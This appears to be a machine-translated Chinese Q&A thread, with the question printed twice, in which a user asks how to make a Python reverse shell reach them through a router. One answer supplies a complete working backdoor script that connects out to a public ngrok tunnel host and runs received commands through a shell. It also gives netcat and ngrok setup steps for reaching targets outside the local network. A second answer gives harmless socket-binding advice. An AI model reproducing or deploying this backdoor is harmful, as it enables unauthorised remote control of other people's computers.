我用python创建了一个反向shell,我的路由器在端口转发方面有问题。
我没有任何静态IP。
在路由器中:
协议:TCP
Lochealipaddr: 192.168.1.10
本地端口:8090
万尼帕德尔:---
万港:8090
状态:启用
在我的 python 脚本中,我无法绑定我的 wan ip 地址
ST.bind((Wanipaddr, 8090))
如果我在 localipaddr 上绑定,我的反向 shell 客户端无法连接到服务器
我的问题解决方案是什么?
谢谢
我用python创建了一个反向shell,我的路由器在端口转发方面有问题。
我没有任何静态IP。
在路由器中:
协议:TCP
Lochealipaddr: 192.168.1.10
本地端口:8090
万尼帕德尔:---
万港:8090
状态:启用
在我的 python 脚本中,我无法绑定我的 wan ip 地址
ST.bind((Wanipaddr, 8090))
如果我在 localipaddr 上绑定,我的反向 shell 客户端无法连接到服务器
我的问题解决方案是什么?
谢谢
如果你想使用你的后门来接收局域网外的连接,请使用ngrok
例子:
1-让我们监听端口 4444:
nc -lp 4444
2-安装 ngrok 后,您将运行以下命令:
ngrok tcp 444
3-现在找到ngrok地址
4-使用您的 ngrok 地址连接到客户端
# backdoor.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
conn = s.recv(2048).decode()
if conn[:3] == 'cd ':
os.chdir(conn[3:])
cmd = ''
else:
proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
stdout, stderr = proc.communicate()
cmd = stdout+stderr
cmd += str('\n'+os.getcwd()).encode()
s.send(cmd)
5-现在您可以与网络外的任何人联系
听起来您的路由器配置为将来自 Internet 的 8090 端口上的请求转发到您的主机(假设您拥有正确的 LAN IP)。也许只是尝试绑定到0.0.0.0.
来自wikipedia,它适合这种情况:
一种指定“任何 IPv4 地址”的方法。在配置服务器时(即绑定监听套接字时)以这种方式使用。
换句话说,您是在告诉您的服务器实质上侦听每个可用的网络接口(在该端口上)。